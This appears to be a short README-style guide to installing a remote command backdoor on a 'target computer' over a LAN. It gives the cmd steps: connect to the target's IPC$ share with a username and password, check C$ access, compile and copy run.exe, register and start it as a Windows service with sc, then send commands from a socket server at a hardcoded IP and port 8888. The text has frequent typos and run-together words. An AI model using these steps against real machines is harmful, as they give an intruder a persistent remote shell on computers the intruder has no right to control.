-
First, we need to know our IP in our LAN. Useing the command
ipconfig
in our cmd.exe -
Then, edit the IP in the
struct sockaddr_in serverAddr; serverAddr.sin_family = AF_INET; serverAddr.sin_addr.s_addr = inet_addr ("192.168.123.7"); //Write your IP there serverAddr.sin_port = htons(8888);
-
Third, use
net use \IP\ipc$ "password" /user:"target computer user"
command in your cmd.exe to connect IPC to your target computer. click here to learn more -
Then, use
dir \IP\c$
to make sure we hav sufficient permissions to make a Windwos Service in the target computer. If we can, change our code like second step in the run.c. Next, we need to useg++ -o run.exe run.c -lws2_32 -static
command to make it as a .exe file. -
Next, use
copy run.exe \IP\PATH
tocopy it to yuor target computer. Then, usesc //IP create SERVICENAME binpath= "PATH"
in our target. If it runs, run our socket_server.c and usesc \IP start SERVICENAME
to start Windows service in our target computer. -
Finally, if our socket_c shows run and can input something, input your cmd command which will run in your target computer.